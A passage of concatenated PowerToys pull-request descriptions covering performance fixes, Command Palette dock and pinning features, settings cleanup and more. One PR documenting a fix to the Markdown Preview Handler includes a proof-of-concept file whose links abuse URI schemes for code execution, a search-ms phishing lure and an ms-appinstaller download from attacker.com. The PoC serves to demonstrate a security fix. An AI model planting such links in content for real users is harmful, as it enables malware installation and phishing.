943.67 |
| New_Explosion_5 | 1,917.3 ns | 48.63 ns | 133.95 ns | 0.49 | 0.08 |
1.0109 | - | - | 4.13 KB | 0.51 |
| Old_Explosion_4 | 2,489,593.2 ns | 82,937.33 ns | 236,624.90 ns |
632.32 | 113.96 | 281.2500 | 148.4375 | 74.2188 | 1729.71 KB | 213.92 |
| New_Explosion_4 | 1,598.3 ns | 51.92 ns | 152.28 ns | 0.41 | 0.07 |
0.8163 | - | - | 3.34 KB | 0.41 |
| Old_Explosion_3 | 202,814.0 ns | 7,684.44 ns | 22,293.96 ns | 51.51 |
9.72 | 72.7539 | 0.2441 | - | 298.13 KB | 36.87 |
| New_Explosion_3 | 1,222.5 ns | 26.07 ns | 76.45 ns | 0.31 | 0.05 |
0.6275 | - | - | 2.57 KB | 0.32 |
| Old_Subsequence | 419,417.7 ns | 8,308.97 ns | 22,178.33 ns | 106.53 |
17.23 | 266.6016 | 0.9766 | - | 1090.05 KB | 134.81 |
| New_Subsequence | 2,501.9 ns | 80.91 ns | 233.43 ns | 0.64 | 0.11 |
1.3542 | - | - | 5.55 KB | 0.69 |
(Where "Old_Explosion" is "e" repeated 9 times. Times in nanoseconds or
one millionth of a millisecond.)
It is worth noting that the results show a **single string match**. So
matching "eeeeee" against a 99-character string took 25 MB of memory and
71 milliseconds to compute. For the new algorithm, this is reduced down
to <5KB and 0.002 milliseconds. Even for a three-character repetition,
the new algorithm is >150x faster with <1% of the allocations.
## Real world example
**Before (results still pending after more than a minute):**
<img width="837" height="336" alt="Image"
src="https://github.com/user-attachments/assets/c4c3ae04-6a47-40b9-a2a4-7a4da169f7d5"
/>
**After (instantaneous results):**
<img width="829" height="444" alt="image"
src="https://github.com/user-attachments/assets/055fc4a6-f34f-4bed-a12c-408b52274de2"
/>
## Validation Steps Performed
The verification tests in the benchmark project pass, with results
identical to the original across a number of test cases, including the
pathological cases identified earlier and edge cases such as
single-character searches.
All unit tests under `Wox.Test`, including all 38 `FuzzyMatcherTest`
entries still pass.
## Summary of the Pull Request
- Improves vertical (left/right) dock layout:
- Dock items are not clipped;
- Items with label(s) are stretched to full width;
- Items without label(s) are centered.
- Top button is in the absolute corner to make clicking to it easier.
- Dock items now have a min width and height 32px.
- Removes a duplicate "No background" label in the expander body on the
Dock settings page.
## Pictures? Pictures!
Vertical layout:
<img width="175" height="1439" alt="image"
src="https://github.com/user-attachments/assets/4f11d9e9-405f-4d9a-8dee-4c8912b88c7c"
/>
Horizontal layout:
<img width="5119" height="49" alt="image"
src="https://github.com/user-attachments/assets/8420ef26-575e-4427-8db8-f9793e3b3572"
/>
<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist
- [ ] Closes: #xxx
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx
<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments
<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request
Takes one possible approach to allowing for preview installs to be
detected.
⚠️ This has a possible side effect, in that if folks have installations
side-by-side, this would seem to update the Preview version over the
non-Preview version. That may not be preferable behavior, in which case
we could instead update `$commonPaths` to include it, which would allow
it to be found in the absence of a non-preview release.
If others have a preference I'm happy to adapt, as long as it doesn't
leave Preview users with an error.
<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist
- [x] Closes: #45811
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [x] ~~**Tests:** Added/updated and all pass~~ N/A in this case
- [x] ~~**Localization:** All end-user-facing strings can be localized~~
N/A
- [x] ~~**Dev docs:** Added/updated~~ N/A in this case I believe
- [x] ~~**New binaries:** Added on the required places~~ N/A
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx
<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments
The execution of vsWhere was not returning any items in cases where
prereleases were installed.
This change includes prereleases in the consideration of `-latest`
<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
✅ Tested vswhere output directly. Before: no installations. After: 2026
Preview was found
✅ Tested setup-dev-environment.ps1. Before: warning about missing VS
install. After: operates as expected.
## Summary of the Pull Request
* Move hardcoded string *View on GitHub* to `Resources.resw`
* Respect `DateTimeFormat.MonthDayPattern` in release date
* Dots in the date are escaped so that they don't accidentally trigger a
markdown list
## PR Checklist
- [ ] Closes: #xxx
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [x] **Localization:** All end-user-facing strings can be localized
- [x] **Dev docs:** No need
- [x] **New binaries:** None
- [x] **Documentation updated:** No need
## Detailed Description of the Pull Request / Additional comments
Nothing changes in the English version, only difference is in languages
that don't use `MMMM d`.
## Validation Steps Performed
Manually tested with Slovak, Czech, German, English.
Now, once the dock has focus, tab will work the way you'd expect.
* re #45584
* re #45595 - if we do add that KB shortcut, well, reasonable tab focus
would be expected.
This makes the buttons hitbox extend all the way to the edges of the
dock, but the visual presentation of these buttons is unchanged.
This lets us adhere to fitts law appropriately.
Closes#45596Closes#45590
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request
The default CIELab format rounds the values to two decimal places, which
is a degree of precision that isn't always needed. This PR adds an
optional formatting character (i) to the three CIELab format parameters,
which rounds the value to the nearest integer.
<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist
- [x] Closes: #13603/#14863. Note that in the discussion for #13603,
there are some additional suggestions that this PR doesn't address.
- [ ] **Communication:** Haven't gotten the green light for this
approach with the core contributors yet. Happy to pivot to a different
approach if needed.
- [ ] **Tests:** Added/updated and all pass
- [x] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx
<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments
In the case where a or b get rounded to -0 (e.g. -0.0001 rounds to -0),
the negative sign gets removed. However, I noticed during testing that
the default format (rounding to two decimal places) retains the negative
sign in these situations (see third screenshot). I can a) revert to
keeping the -0 for the new rounding behavior, b) change -0 to 0 for
other rounded values, or c) leave it as-is. Also open to suggestions.
I can update the docs as well, if we're happy with the approach.
<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
- Settings: Can change the default CIELab format to display rounded
values
- Settings: Can create a custom format with rounded CIELab values
- Color Picker: Rounded values are displayed when hovering and as a
saved color
<img width="1076" height="1520" alt="powertoys-cielab"
src="https://github.com/user-attachments/assets/8a67142d-d7f4-49bc-b1ba-ad9304235218"
/>
<img width="447" height="390" alt="powertoys-cielab-selected"
src="https://github.com/user-attachments/assets/c96d3bc9-cac7-4470-af3f-b2bce78d0915"
/>
<img width="445" height="389" alt="powertoys-cielab-selected-0"
src="https://github.com/user-attachments/assets/c329bc5b-c18a-4f61-a808-0fa5050e09ed"
/>
---------
Co-authored-by: vanzue <vanzue@outlook.com>
## Summary of the Pull Request
This PR replaces the use of the property AppWindow.IsShownInSwitchers,
which requires a running explorer.exe instance, with
HiddenOwnerWindowBehavior. This behavior is used by MainWindow and
ToastWindow to hide the window by utilizing both the Tool Window style
and a safely invoked IsShownInSwitchers.
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request
This PR adds new options to the All Apps built-in extension:
- Also include non-app shortcuts from the Start menu
- Enabled by default
- Also include non-app shortcuts from the desktop
- Disabled by default
The default states reflect that Start menu shortcuts are largely curated
by installers, and the Start menu itself typically does not surface
non-app items. Desktop shortcuts, on the other hand, are more likely to
be created by the user.
<img width="812" height="499" alt="image"
src="https://github.com/user-attachments/assets/de6c4723-0b52-4606-98fa-469364f5648e"
/>
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request
This PR add local suppression of CsWinRT1028 (not marked partial) for
`Windows.Win32.UnhookWinEventSafeHandle` and
`Windows.Win32.DeleteObjectSafeHandle`
<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist
- [x] Related to: #42574
- [ ] Closes: #xxx
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx
<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments
<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
notes inline with code. Need to adjust the opposite side of the appbar
for our size.
These APIs are documented so well, it's no wonder more folks don't use
them 🙃
related to #45824
tracked in #45584
---------
Co-authored-by: Niels Laute <niels.laute@live.nl>
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request
<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist
This PR removes OneWay binding mode from ItemsRepeater with bands in
Dock settings page. The page doesn't provide any means for property
change notification, so the binding can never be refreshed anyway and it
cases XAML compiler to emit a warning `WMC1506: OneWay bindings require
at least one of their steps to support raising notifications when their
value change`
- [x] Related to: #42574
- [ ] Closes: #xxx
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx
<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments
<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
Add support for a "dock" window in CmdPal. The dock is a toolbar powered
by the `APPBAR` APIs. This gives you a persistent region to display
commands for quick shortcuts or glanceable widgets.
The dock can be pinned to any side of the screen.
The dock can be independently styled with any of the theming controls
cmdpal already has
The dock has three "regions" to pin to - the "start", the "center", and
the "end".
Elements on the dock are grouped as "bands", which contains a set of
"items". Each "band" is one atomic unit. For example, the Media Player
extension produces 4 items, but one _band_.
The dock has only one size (for now)
The dock will only appear on your primary display (for now)
This PR includes support for pinning arbitrary top-level commands to the
dock - however, we're planning on replacing that with a more universal
ability to pin any command to the dock or top level. (see #45191). This
is at least usable for now.
This is definitely still _even more preview_ than usual PowerToys
features, but it's more than usable. I'd love to get it out there and
start collecting feedback on where to improve next. I'll probably add a
follow-up issue for tracking the remaining bugs & nits.
closes#45201
---------
Co-authored-by: Niels Laute <niels.laute@live.nl>
When neither option is selected, then the resulting .mp4 container won't
have an audio track added to it.
This is due to the recent audio input addition. As a result, all .mp4
recordings now have an audio track, even if empty. Restoring the prior
functionality, where just the h264 video is present on no audio.
## Summary of the Pull Request
<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist
- [ ] Closes: #xxx
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx
<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments
<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
_targets #45572_
This change allows our contact menu factory to actually create and add
additional context menu commands for pinning commands to the top level.
Now for any command provider built with the latest SDK that return
subcommands with an ID, we will add additional context menu commands
that allows you to pin that command to the top level.
<img width="540" height="181" alt="image"
src="https://github.com/user-attachments/assets/6c2cfe3c-4143-44d1-9308-bfc71db4c842"
/>
<img width="729" height="317" alt="image"
src="https://github.com/user-attachments/assets/4ff75c9f-1f35-4c1e-a03e-6fab5cbab423"
/>
related to https://github.com/microsoft/PowerToys/issues/45191
related to https://github.com/microsoft/PowerToys/issues/45201
This PR notably does not remove pinning from the apps extension. I
thought that made sense to do as a follow-up PR for the sake of
reviewability.
---
description from #45676 which was merged into this
Removes the code that the apps provider was using to support pinning
apps to the top level list of commands. Now the all apps provider just
uses the global support for pinning commands to the top level.
This does have the side effect of removing the separation of pinned apps
from unpinned apps on the All Apps page. However, we all pretty much
agree that wasn't a particularly widely used feature, and it's safe to
remove.
With this, we can finally call this issue done 🎉
closes https://github.com/microsoft/PowerToys/issues/45191
## Summary of the Pull Request
This PR adds a new default option to the All Apps extension settings.
- Adds an explicit "Default (n)" option to the choices list as the
default. This option is not tied to a concrete number of items, allowing
the value to change in the future.
- Fixes backward compatibility for users who installed the extension
when `"0"` was accidentally used as the default search result limit
(d07f40eec3). Existing `"0"` values are now treated as "use default
(10)" instead of producing zero results.
- Renames the intentional "0 results" setting value from `"0"` to
`"none"` so it can be clearly distinguished from the previous accidental
default.
- Moves result-limit parsing from `AllAppsCommandProvider` into
`AllAppsSettings`, exposing a parsed `int?` property instead of a raw
string.
- Adds `IgnoreUnknownValue` to `ChoiceSetSetting` so unrecognized stored
values (such as the old `"0"`) are silently ignored on load, preserving
the initialized default.
- Without this the drop-down value in the adaptive card shows as empty.
<img width="842" height="226" alt="image"
src="https://github.com/user-attachments/assets/ae79f173-2e81-43d8-9103-c548ff6e0dc1"
/>
<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist
- [ ] Closes: #xxx
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx
<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments
<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
Icon and New name still pending for final decision.
We cannot ship in this release, still need enough time to consider new
name and icon.
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request
<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist
- [ ] Closes: #xxx
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx
<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments
<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
---------
Co-authored-by: Yu Leng (from Dev Box) <yuleng@microsoft.com>
## Summary of the Pull Request
This PR unlocks lightning-fast mode for Command Palette:
- Hides visual and motion distractions when updating the result list:
- Ensures the first interactable result item is selected as early as
possible after the result list is updated, reducing flashing and
blinking caused by the selection highlight moving around.
- Removes the list item selection indicator animation (unfortunately by
removing the pill altogether for now) and prevents it from temporarily
appearing on other items as the selection moves.
- Adds a new "Results" section header above the home page results when
no other section is present.
- This ensures the first item on the home page has consistent visuals
and styling, preventing offsets and excessive visual changes when
elements are replaced in place.
- Improves update performance and container reuse:
- Fixes the `removed` output parameter in `ListHelper.UpdateInPlace` to
only include items that were actually removed (items that were merely
moved to a different position should not be reported as removed).
- Adds unit tests to prevent regression.
- Updates `ListHelper.UpdateInPlace` for `ObservableCollection` to use
`Move` instead of `Remove`/`Add`, and avoids `Clear` to prevent
`ListView` resets (which force recreation of all item containers and are
expensive).
- Adds a simple cache for list page item view models to reduce
unnecessary recreation during forward incremental search.
- `ListViewModel` and `FetchItems` have no notion of item lifetime or
incremental search phase, so the cache intentionally remains simple
rather than clever.
- Updates ListPage templates to make them a little lighter:
- Tag template uses OneTime, instead of OneWay - since Tag is immutable
- Replaces ItemsControl with ItemsRepeater for Tag list on list items
- Increases the debounce for showing the details pane and adds a
debounce for hiding it. This improves performance when browsing the list
and prevents the details pane animation from bouncing left and right
## Pictures? Moving!
https://github.com/user-attachments/assets/36428d20-cf46-4321-83c0-d94d6d4a2299
<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist
- [x] Closes: #44407
- [x] Closes: #45691
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request
The Markdown Preview Handler allowed arbitrary URI scheme execution when
users clicked links in the preview pane. This patch restricts external
navigation to http and https schemes only.
<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist
- [ ] Closes: #xxx
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx
<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments
<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
**Steps:**
1. Create a file named `exploit.md` with the following content:
```markdown
# PoC
1. [Click Me for RCE (Always Works)](calculator:)
2. [Remote File Search Phishing](search-ms:displayname=Confidential&crumb=location:\\\\127.0.0.1\\c$)
3. [App Installer (Requires Policy)](ms-appinstaller:?source=https://attacker.com/malware.msix)
```
2. Open Windows File Explorer and navigate to the folder containing
`exploit.md`.
3. Enable the "Preview pane" in File Explorer (View -> Show -> Preview
pane).
4. Select `exploit.md` (single click) to render the preview.
5. Click the "Click Me for RCE" link.
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request
Current behavior is that GPO policies are enforced on the Light Switch
settings page but not on the dashboard or quick access menu's. This
allows the user to still toggle Light Switch settings in scenarios where
GPO is either forcing it to be enabled or disabled. This PR addresses
that issue.
<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist
- [x] Closes: #43754
## Additional notes
This PR only addresses issues on the dashboard page and in the quick
access menu as described by
https://github.com/microsoft/PowerToys/issues/43754.
This PR also fixed an issue where modules were not showing in the Quick
access menu when GPO is set to "Enabled" until you visited the module
specific page. When modules are forced enabled, they should appear in
Quick Access upon launch if they have a quick access entry.
This issue does not address issue
https://github.com/microsoft/PowerToys/issues/42484 which was fixed with
the PR https://github.com/microsoft/PowerToys/pull/44567
## Validation Steps Performed
Tested locally, photos below
Not configured:
<img width="1371" height="964" alt="image"
src="https://github.com/user-attachments/assets/50ee579d-8ffb-44fd-92a9-e191b61c0318"
/>
Enabled:
<img width="1183" height="988" alt="image"
src="https://github.com/user-attachments/assets/789abf28-d140-4d93-8934-48b3ac92be2e"
/>
Disabled:
<img width="1282" height="965" alt="image"
src="https://github.com/user-attachments/assets/17ec915a-29d9-42fb-a58e-4b769a728e6a"
/>
We can observe the option being locked on the quick toggles and not
present in the quick access menu when disabled.
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request
<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist
- [ ] Closes: #45549
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx
<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments
<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
When no window alive, the settings exe should also be gone
## Summary of the Pull Request
This PR configures the Command Palette's .editorconfig to format MSBuild
project and props files, and reformats the files accordingly.
No functional changes.
## Summary of the Pull Request
This PR is a light cleanup on Window Walker built-in extension:
- Removes unused types
- Removes redundant code
- Fixes inconsistent naming conventions
- De-LINQ-ify
- Fixes XML doc
- Updates language constructs to the latest (use of
System.Threading.Lock, Collection expressions)
- Updates types and members visibility and makes static classes static
⚠️ Trickiest part are 44ac1c1 and 26c946c that removes redundant null
checks.
- Upgrade to WASDK 1.8.5 that includes a fix for the `TitleBar` control.
- Remove the workaround from windows that use this control, as we can
set the `TitleBar` directly now
Add back the default language option to the resources for better
localization support. This change is fixing a regression:
Two bugs here:
1. The original commit by Stefan had a case mismatch (Default_language
vs Default_Language) — latent bug
2. Niels's PR used Copilot CLI to find dead strings, which incorrectly
removed a live resource due to the case
mismatch
---------
Co-authored-by: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request
Change the binding mode to `OneTime` for various update controls in the
settings UI to improve performance and reduce unnecessary updates.
Without the change, beside the functionality/performance issue, there
are list of build warning like:
src\settings-ui\Settings.UI\SettingsXAML\Controls\Dashboard\CheckUpdateControl.xaml(15,13):
XamlCompiler warning **WMC1506**: OneWay bindings require at least one
of their steps to support raising notifications when their value changes
<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments
Updated the binding mode for controls in `CheckUpdateControl.xaml` and
`ShortcutConflictWindow.xaml` to `OneTime` to enhance efficiency.
<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
Manually tested the settings UI to ensure that the controls behave as
expected without unnecessary updates.
```
This pull request introduces an improvement to how screenshot filenames
are generated in `ZoomIt`. The main change is to ensure that each
screenshot is saved with a unique, timestamped filename, which helps
prevent accidental overwrites and keeps files sorted chronologically.
**Enhancement to screenshot filename generation:**
* Added a new implementation for `GetUniqueScreenshotFilename()` in
`Zoomit.cpp` to generate screenshot filenames using the current date and
time, following the format `"ZoomIt YYYY-MM-DD HHMMSS.png"`. This
reduces the risk of overwriting existing files and improves file
organization.<!-- Enter a brief description/summary of your PR here.
What does it fix/what does it change/how was it tested (even manually,
if necessary)? -->
## Summary of the Pull Request
This PR:
Includes an update to create unique screenshot filenames, saving the
user from having to manually type a new filename each time they save a
new screenshot in the same location.
<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist
- [x] Closes: #43158
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
